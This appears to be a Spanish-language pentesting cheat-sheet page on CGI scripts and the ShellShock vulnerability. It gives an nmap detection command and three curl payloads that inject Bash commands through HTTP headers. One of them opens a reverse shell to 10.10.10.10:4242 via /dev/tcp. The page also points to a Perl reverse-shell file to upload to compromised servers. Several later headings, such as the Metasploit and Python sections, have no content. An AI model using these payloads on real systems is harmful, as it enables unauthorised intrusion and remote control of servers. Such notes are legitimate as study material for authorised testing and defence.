CGI

¿Qué es y cómo funciona?

Los cgi-bin son programas que se ejecutan en el servidor, pueden servir para tratar información, como pasarela con una aplicación o base de datos o para generar documentos html de forma automática.

Los CGI scripts son scripts escritos en perl, si se compromete un servidor que puede ejecutar .cgi, se puede subir una reverse shell de perl /usr/share/webshells/perl/perl-reverse-shell.pl , también hay otra vuln muy conocida que es ShellShock.

ShellShock

Comprobar si es vuln

Para comprobar si es vulnerable antes de intentar explotarl con Nmap.

nmap --script http-shellshock --script-args uri=/cgi-bin/<script>.sh -p80 <IP>

Comprobar si es vulnerable manualmente

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Explotarlo manual con curl

Con Metasploit

Con Python

Autopwn shellshock.py

Last updated